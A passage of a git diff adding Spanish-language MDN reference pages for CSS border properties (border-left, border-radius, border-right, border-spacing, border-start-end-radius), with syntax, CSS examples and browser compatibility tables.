+        border-bottom-size: 1px;
+        border-bottom-style: solid;
+        border-bottom-color: #000;
+}
+
+</pre>
+
+<p> </p>
+
+<pre>p {
+border-style: solid;
+border-left-color: #ff0000
+}
+
+p {
+border-style: solid;
+border-left-color: rgb(255,0,0)
+}
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<ul>
+ <li><a class="external" href="http://html-color-codes.com/">Color Chart by VisiBone</a></li>
+</ul>
diff --git a/files/es/web/css/border-left/index.html b/files/es/web/css/border-left/index.html
new file mode 100644
index 0000000000..8c2b4d55ed
--- /dev/null
+++ b/files/es/web/css/border-left/index.html
@@ -0,0 +1,120 @@
+---
+title: border-left
+slug: Web/CSS/border-left
+translation_of: Web/CSS/border-left
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>El <code>borde_izquierdo</code> es una propiedad rápida para poner el ancho, estilo y color del borde izquierdo de un elemento. Esta propiedad puede ser usada para poner los valores de uno o mas de : {{ Cssxref("border-left-width") }}, {{ Cssxref("border-left-style") }}, {{ Cssxref("border-left-color") }}. Valores omitidos son puestos a su valor inicial.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="eval">border-left: [<em>border-width</em> || <em>border-style</em> || <em>border-color</em> | <em>inherit</em>] ;
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt>border-width</dt>
+ <dd>See {{ Cssxref("border-width") }}.</dd>
+ <dt>border-style </dt>
+ <dd>See {{ Cssxref("border-style") }}.</dd>
+ <dt>border-color </dt>
+ <dd>See {{ Cssxref("border-color") }}.</dd>
+</dl>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<p>element {</p>
+
+<pre class="eval">    border-left: 1px solid #000;
+</pre>
+
+<p>}</p>
+
+<h2 id="Notas" name="Notas">Notas</h2>
+
+<p>Si las reglas no especifican un color de borde, el borde tendrá la propiedad {{ Cssxref("color") }}</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Backgrounds', '#border-left', 'border-left') }}</td>
+   <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+   <td>No direct changes, though the modification of values for the {{ cssxref("border-left-color") }} do apply to it.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#propdef-border-left', 'border-left') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>No significant changes</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#border-left', 'border-left') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("1.0") }}</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoMobile("1.0") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/border-radius/index.html b/files/es/web/css/border-radius/index.html
new file mode 100644
index 0000000000..39e3ab03d7
--- /dev/null
+++ b/files/es/web/css/border-radius/index.html
@@ -0,0 +1,320 @@
+---
+title: border-radius
+slug: Web/CSS/border-radius
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/border-radius
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <code>border-radius</code> permite a los desarrolladores Web definir qué tan redondeadas serán las esquinas. La redondez de cada esquina está definida usando uno o dos valores para el radio que define su forma dependiendo si es un círculo o una elipse.</p>
+
+<p><img alt="Images of CSS3 rounded corners: no rounding, rounding w/ an arc of circle, rounding w/ an arc of ellipse" class="default internal" src="/files/3638/border-radius-sh.png" style="height: 164px; width: 549px;"></p>
+
+<p>El radio se aplica a todo el {{ Cssxref("background") }}, aun si el elemento no tiene bordes; la posición exacta del recorte es definida por la propiedad {{ Cssxref("background-clip") }}.</p>
+
+<p>Esta propiedad es un <a href="/en/CSS/Shorthand_properties" title="en/CSS/Shorthand_properties">atajo</a> para establecer las cuatro propiedades {{ Cssxref("border-top-left-radius") }}, {{ Cssxref("border-top-right-radius") }}, {{ Cssxref("border-bottom-right-radius") }} y {{ Cssxref("border-bottom-left-radius") }}.</p>
+
+<div class="note">As with any shorthand property, individual inherited values are not possible, that is <code>border-radius:0 0 inherit inherit</code>, which would override existing definitions partially. In that case, the individual longhand properties have to be used.</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="twopartsyntaxbox">Formal grammar: [ <var>&lt;length&gt;</var> | <var>&lt;percentage&gt;</var> ]{1,4}  [ / [ <var>&lt;length&gt;</var> | <var>&lt;percentage&gt;</var> ]{1,4}] ?
+                \------------------------------/      \-------------------------------/
+                           First radii                     Second radii (optional)
+</pre>
+
+<pre><strong>The syntax of the first radius allows one to four values:</strong>
+border-radius: <em>radius</em>
+border-radius: <em>top-left-and-bottom-right</em> <em>top-right-and-bottom-left</em>
+border-radius: <em>top-left</em> <em>top-right-and-bottom-left</em> <em>bottom-right</em>
+border-radius: <em>top-left</em> <em>top-right</em> <em>bottom-right</em> <em>bottom-left</em>
+
+<strong>The syntax of the second radius also allows one to four values</strong>
+border-radius: (first radius values) / <em>radius</em>
+border-radius: (first radius values) / <em>top-left-and-bottom-right</em> <em>top-right-and-bottom-left</em>
+border-radius: (first radius values) / <em>top-left</em> <em>top-right-and-bottom-left</em> <em>bottom-right</em>
+border-radius: (first radius values) / <em>top-left</em> <em>top-right</em> <em>bottom-right</em> <em>bottom-left</em>
+
+border-radius: inherit
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<table>
+ <tbody>
+  <tr>
+   <td style="vertical-align: top;"><em>radius</em></td>
+   <td><img alt="all-corner.png" class="default internal" src="/@api/deki/files/6138/=all-corner.png"></td>
+   <td style="vertical-align: top;">Is a {{cssxref("&lt;length&gt;")}} or a {{cssxref("&lt;percentage&gt;")}} denoting a radius to use for the border in each corner of the border. It is used only in the one-value syntax.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><em>top-left-and-bottom-right</em></td>
+   <td><img alt="top-left-bottom-right.png" class="default internal" src="/@api/deki/files/6141/=top-left-bottom-right.png"></td>
+   <td style="vertical-align: top;">Is a {{cssxref("&lt;length&gt;")}} or a {{cssxref("&lt;percentage&gt;")}} denoting a radius to use for the border in the top-left and bottom-right corners of the element's box. It is used only in the two-value syntax.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><em>top-right-and-bottom-left</em></td>
+   <td><img alt="top-right-bottom-left.png" class="default internal" src="/@api/deki/files/6143/=top-right-bottom-left.png"></td>
+   <td style="vertical-align: top;">Is a {{cssxref("&lt;length&gt;")}} or a {{cssxref("&lt;percentage&gt;")}} denoting a radius to use for the border in the top-right and bottom-left corners of the element's box. It is used only in the two- and three-value syntaxes.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><em>top-left</em></td>
+   <td><img alt="top-left.png" class="default internal" src="/@api/deki/files/6142/=top-left.png"></td>
+   <td style="vertical-align: top;">Is a {{cssxref("&lt;length&gt;")}} or a {{cssxref("&lt;percentage&gt;")}} denoting a radius to use for the border in the top-left corner of the element's box. It is used only in the three- and four-value syntaxes.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><em>top-right</em></td>
+   <td style="margin-left: 2px;"><img alt="top-right.png" class="default internal" src="/@api/deki/files/6144/=top-right.png"></td>
+   <td style="vertical-align: top;">Is a {{cssxref("&lt;length&gt;")}} or a {{cssxref("&lt;percentage&gt;")}} denoting a radius to use for the border in the top-right corner of the element's box. It is used only in the four-value syntax.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><em>bottom-right</em></td>
+   <td style="margin-left: 2px;"><img alt="bottom-rigth.png" class="default internal" src="/@api/deki/files/6140/=bottom-rigth.png"></td>
+   <td style="vertical-align: top;">Is a {{cssxref("&lt;length&gt;")}} or a {{cssxref("&lt;percentage&gt;")}} denoting a radius to use for the border in the bottom-right corner of the element's box. It is used only in the three- and four-value syntaxes.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><em>bottom-left</em></td>
+   <td><img alt="bottom-left.png" class="default internal" src="/@api/deki/files/6139/=bottom-left.png"></td>
+   <td style="vertical-align: top;">Is a {{cssxref("&lt;length&gt;")}} or a {{cssxref("&lt;percentage&gt;")}} denoting a radius to use for the border in the bottom-left corner of the element's box. It is used only in the four-value syntax.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><code>inherit</code></td>
+   <td> </td>
+   <td style="vertical-align: top;">Is a keyword indicating that all four values are inherited from their parent's element calculated value.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Valores_2">Valores</h3>
+
+<dl>
+ <dt>&lt;length&gt;</dt>
+ <dd>Denotes the size of the circle radius or the semi-major and semi-minor axes of the ellipsis. It can be expressed in any unit allowed by the CSS {{cssxref("&lt;length&gt;")}} data types. Negative values are invalid.</dd>
+ <dt>&lt;percentage&gt;</dt>
+ <dd>Denotes the size of the circle radius, or the semi-major and semi-minor axes of the ellipsis, using percentage values. Percentages for the horizontal axis refer to the width of the box, percentages for the vertical axis refer to the height of the box. Negative values are invalid.</dd>
+</dl>
+
+<p>Por ejemplo:</p>
+
+<pre class="brush: css">border-radius: 1em/5em;
+
+/* es equivalente a: */
+
+border-top-left-radius:     1em 5em;
+border-top-right-radius:    1em 5em;
+border-bottom-right-radius: 1em 5em;
+border-bottom-left-radius:  1em 5em;
+</pre>
+
+<pre class="brush: css">border-radius: 4px 3px 6px / 2px 4px;
+
+/* es equivalente a: */
+
+border-top-left-radius:     4px 2px;
+border-top-right-radius:    3px 4px;
+border-bottom-right-radius: 6px 2px;
+border-bottom-left-radius:  3px 4px;
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre style="display: inline-block; margin: 10px; border: solid 10px; border-radius: 10px 40px 40px 10px;">  border: solid 10px;
+  /* the border will curve into a 'D' */
+  border-radius: 10px 40px 40px 10px;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; border: groove 1em red; border-radius: 2em;">  border: groove 1em red;
+  border-radius: 2em;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; background: gold; border: ridge gold; border-radius: 13em/3em;">  background: gold;
+  border: ridge gold;
+  border-radius: 13em/3em;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; background: gold; border: none; border-radius: 40px 10px;">  border: none;
+  border-radius: 40px 10px;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; background: black; color: white; border: none; border-radius: 50%;">  border: none;
+  border-radius: 50%;
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<ul>
+ <li>Dotted and dashed rounded border corners are rendered as solid in Gecko; see {{ bug("382721") }}.</li>
+ <li><code>border-radius</code> does not apply to table elements when {{ Cssxref("border-collapse") }} is <code>collapse</code>.</li>
+ <li>Old versions of WebKit handle multiple values differently, see below.</li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Backgrounds', '#border-radius', 'border-radius') }}</td>
+   <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_navegadores">Compatibilidad con los navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}<br>
+    {{ CompatGeckoDesktop("1.0") }}{{ property_prefix("-moz") }}</td>
+   <td>4.0<br>
+    0.2{{ property_prefix("-webkit") }}</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>5.0<br>
+    3.0{{ property_prefix("-webkit") }}</td>
+  </tr>
+  <tr>
+   <td>Elliptical borders</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>yes</td>
+   <td>yes</td>
+   <td>yes</td>
+   <td>yes, but see below</td>
+  </tr>
+  <tr>
+   <td>4 values for 4 corners</td>
+   <td>yes</td>
+   <td>4.0</td>
+   <td>yes</td>
+   <td>yes</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>Percentages</td>
+   <td>yes<br>
+    was {{ non-standard_inline() }} (see below)</td>
+   <td>yes</td>
+   <td>yes</td>
+   <td>11.5</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>iOS Safari</th>
+   <th>Opera Mini</th>
+   <th>Opera Mobile</th>
+   <th>Android Browser</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.2{{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>2.1{{ property_prefix("-webkit") }}</td>
+  </tr>
+  <tr>
+   <td>Elliptical borders</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>4 values for 4 corners</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Percentages</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="&lt;percentage>_values"><code>&lt;percentage&gt;</code> values</h3>
+
+<ul>
+ <li>are not supported in older Chrome and Safari versions (it was <a class="external" href="http://trac.webkit.org/changeset/66615">fixed in Sepember 2010</a>)</li>
+ <li>are buggy in Opera prior to 11.50</li>
+ <li>are implemented in a non-standard way prior to Gecko 2.0 (Firefox 4). <strong>Both</strong> horizontal and vertical radii were relative to the width of the border box.</li>
+ <li>are not supported in older versions of iOS (prior to 5) and Android versions (prior to WebKit 532)</li>
+</ul>
+
+<h3 id="Gecko_notes">Gecko notes</h3>
+
+<p>In Gecko 2.0 <code>-moz-border-radius</code> was renamed to <code>border-radius</code>; <code>-moz-border-radius</code> was supported as an alias until Gecko 12.0. In order to conform to the CSS3 standard, Gecko 2.0</p>
+
+<ul>
+ <li>changes the handling of {{cssxref("&lt;percentage&gt;")}} values to match the specification. You can specify an ellipse as border on an arbitrary sized element just with <code>border-radius: 50%;</code></li>
+ <li>makes rounded corners clip content and images (if {{ cssxref("overflow") }}<code>: visible</code> is not set)</li>
+</ul>
+
+<div class="note"><strong>Note:</strong> Support for the prefixed version (<code>-moz-border-radius</code>) was removed in Gecko 13.0 {{ geckoRelease("13.0") }}.</div>
+
+<h3 id="WebKit_notes">WebKit notes</h3>
+
+<p>Older Safari and Chrome versions (prior to WebKit 532.5)</p>
+
+<ul>
+ <li>support only <strong>one</strong> value for all 4 corners. For different radii the <a href="/en/CSS/border-top-left-radius#Examples" title="en/CSS/border-top-left-radius#Examples">long form properties</a> must be used</li>
+ <li>don't support the slash <code>/</code> notation. If two values are specified, an elliptical border is drawn on all 4 corners
+  <pre>/* this is equivalent: */
+
+-webkit-border-radius: 40px 10px;
+        border-radius: 40px/10px;
+</pre>
+ </li>
+</ul>
+
+<h3 id="Opera_notes">Opera notes</h3>
+
+<p>In Opera (prior to Opera 11.60), applying <code>border-radius</code> to replaced elements will not have rounded corners.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>Border-radius-related CSS properties: {{ Cssxref("border-top-left-radius") }}, {{ Cssxref("border-top-right-radius") }}, {{ Cssxref("border-bottom-right-radius") }}, {{ Cssxref("border-bottom-left-radius") }}</li>
+</ul>
+
+<p>{{ languages( { "de": "de/CSS/border-radius", "fr": "fr/CSS/-moz-border-radius", "ja": "ja/CSS/border-radius", "pl": "pl/CSS/-moz-border-radius" } ) }}</p>
diff --git a/files/es/web/css/border-right/index.html b/files/es/web/css/border-right/index.html
new file mode 100644
index 0000000000..ef5e1b4a3e
--- /dev/null
+++ b/files/es/web/css/border-right/index.html
@@ -0,0 +1,109 @@
+---
+title: border-right
+slug: Web/CSS/border-right
+tags:
+  - Bordes CSS
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/border-right
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">La propiedad <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>border-right</code></strong> es un a propiedad rápida para dar valores al {{cssxref("border-right-width")}}, {{cssxref("border-right-style")}} y {{cssxref("border-right-color")}}.</span> Estas propiedades establecen un <a href="/es/docs/Web/CSS/border">borde </a>derecho del elemento.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-right.html")}}</div>
+
+
+
+<p>Como con todas las propiedades rápidas, <code>border-right</code> siempre establece los valores de todas las propiedades que puede establecer, incluso si no están especificadas. Establece los no especificados a sus valores por defecto. Lo que significa que ...</p>
+
+<pre class="brush: css">border-right-style: dotted;
+border-right: thick green;
+</pre>
+
+<p>... es en realidad lo mismo que ...</p>
+
+<pre class="brush: css">border-right-style: dotted;
+border-right: none thick green;
+</pre>
+
+<p>... y el valor de {{cssxref("border-right-style")}} dado previamente a <code>border-right</code> es ignorado. Puesto que el valor por defecto de {{cssxref("border-right-style")}} es <code>none</code>, si no se especifica la parte <code>border-style</code> el resultado es no establecer un borde.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css no-line-numbers">border-right: 1px;
+border-right: 2px dotted;
+border-right: medium dashed green;
+</pre>
+
+<p>Los tres valores de la propiedad rápida pueden ser especificados en cualquier orden, incluso omitiendo uno o dos de ellos.</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;br-width&gt;</code></dt>
+ <dd>Ver {{cssxref("border-right-width")}}.</dd>
+ <dt><code>&lt;br-style&gt;</code></dt>
+ <dd>Ver {{cssxref("border-right-style")}}.</dd>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>Ver {{cssxref("border-right-color")}}.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html">&lt;div&gt;
+  Esta caja tiene un borde en el lado derecho.
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">div {
+  border-right: 4px dashed blue;
+  background-color: gold;
+  height: 100px;
+  width: 100px;
+  font-weight: bold;
+  text-align: center;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Example')}}</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-right', 'border-right')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No direct changes, though the modification of values for the {{cssxref("border-right-color")}} do apply to it.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-right', 'border-right')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No significant changes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-right', 'border-right')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilitidad del navegador</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.border-right")}}</p>
diff --git a/files/es/web/css/border-spacing/index.html b/files/es/web/css/border-spacing/index.html
new file mode 100644
index 0000000000..3abde56c44
--- /dev/null
+++ b/files/es/web/css/border-spacing/index.html
@@ -0,0 +1,104 @@
+---
+title: border-spacing
+slug: Web/CSS/border-spacing
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/border-spacing
+---
+<p>&lt;&lt; <a href="es/Gu%c3%ada_de_referencia_de_CSS">Volver</a></p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>La propiedad de {{ Cssxref("border-spacing", "espaciado de borde") }} especifica la distancia entre los bordes de celdas adyacentes (sólo para el modelo de <a href="es/CSS/border-collapse">separación de borde</a>). Es el equivalente al atributo <code>cellspacing</code> en HTML.</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor inicial") }}: 0</li>
+ <li>Se aplica a: tablas y elementos con la propiedad <code>inline-table</code></li>
+ <li>{{ Cssxref("inheritance", "Valor heredado") }}: sí</li>
+ <li>Medio: {{ Xref_cssvisual() }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculado") }}: dos largos absolutos.</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<p>border-spacing: &lt;length&gt; | &lt;length&gt; &lt;length&gt; | inherit</p>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<ul>
+ <li><strong>&lt;length&gt;</strong> : un largo a utilizar para el espaciado horizontal y vertical.</li>
+ <li><strong>&lt;length&gt; &lt;length&gt;</strong> : el primero da el espaciado horizontal (espacio entre celdas de una fila) y el segundo el espaciado vertical (espacio entre celdas de una columna).</li>
+</ul>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p><a href="/samples/cssref/border-spacing.html">Ver El Ejemplo Vivo</a></p>
+
+<pre>table#space {
+  border-collapse: separate;
+  border-spacing: 10px 5px;
+}
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Ésta propiedad sólo se aplica cuando {{ Cssxref("border-collapse") }} es especificado en <code>separate</code>.</p>
+
+<p>El espaciado de borde también se utiliza en los bordes exteriores de las tablas donde la distancia entre los bordes de tabla y las celdas en la primera/última columna o fila es la suma de los espaciados (horizontales o verticales) y de los espaciados (arriba, derecho, abajo o izquierdo) en una tabla.</p>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/tables.html#propdef-border-spacing">CSS 2.1</a></li>
+</ul>
+
+<h3 id="Compatibilidades" name="Compatibilidades">Compatibilidades</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión mínima</th>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>7</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Mozilla</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Safari</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("border-collapse") }}</p>
+
+<div class="noinclude">
+<p><span class="comment">Categorías</span></p>
+
+<p><span class="comment">Interwiki Languages</span></p>
+</div>
+
+<p>{{ languages( { "fr": "fr/CSS/border-spacing", "pl": "pl/CSS/border-spacing", "en": "en/CSS/border-spacing" } ) }}</p>
diff --git a/files/es/web/css/border-start-end-radius/index.html b/files/es/web/css/border-start-end-radius/index.html
new file mode 100644
index 0000000000..97f10396ad
--- /dev/null
+++ b/files/es/web/css/border-start-end-radius/index.html
@@ -0,0 +1,98 @@
+---
+title: border-start-end-radius
+slug: Web/CSS/border-start-end-radius
+translation_of: Web/CSS/border-start-end-radius
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>border-start-end-radius</code></strong> define al radio del borde lógico de un elemento, que se asigna al radio de borde físico dependiendo del modo de escritura, la direccionalidad y la orientación del texto del elemento. Esto corresponde a las propiedades {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+/* With one value the corner will be a circle */
+border-start-end-radius: 10px;
+border-start-end-radius: 1em;
+
+/* With two values the corner will be an ellipse */
+border-start-end-radius: 1em 2em;
+
+/* Global values */
+border-start-end-radius: inherit;
+border-start-end-radius: initial;
+border-start-end-radius: unset;
+</pre>
+
+<p>Por ejemplo, en un modo de escritura  <code>horizontal-tb</code>, esta propiedad corresponde a la propiedad {{CSSxRef("border-bottom-left-radius")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Indica el tamaño del radio del círculo o los ejes semi mayor y semi menor de la elipse. Como longitud absoluta, se puede expresar en cualquier unidad permitida por el tipo de datos CSS {{cssxref ("&lt;length&gt;")}}. Los porcentajes para el eje horizontal se refieren al ancho de la caja, los porcentajes para el eje vertical se refieren a la altura de la caja. Los valores negativos no son válidos.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: rebeccapurple;
+  width: 120px;
+  height: 120px;
+  border-start-end-radius: 10px;
+}
+
+.exampleText {
+  writing-mode: vertical-rl;
+  padding: 10px;
+  background-color: #fff;
+  border-start-end-radius: 10px;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-start-end-radius", "border-start-end-radius")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-start-end-radius")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>La propiedad física asignada: {{CSSxRef("border-bottom-left-radius")}}</li>
+ <li>{{CSSxRef("writing-mode")}}, {{CSSxRef("direction")}}, {{CSSxRef("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-start-start-radius/index.html b/files/es/web/css/border-start-start-radius/index.html
new file mode 100644
index 0000000000..c7596f14ad
--- /dev/null
+++ b/files/es/web/css/border-start-start-radius/index.html
@@ -0,0 +1,98 @@
+---
+title: border-start-start-radius
+slug: Web/CSS/border-start-start-radius
+translation_of: Web/CSS/border-start-start-radius
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
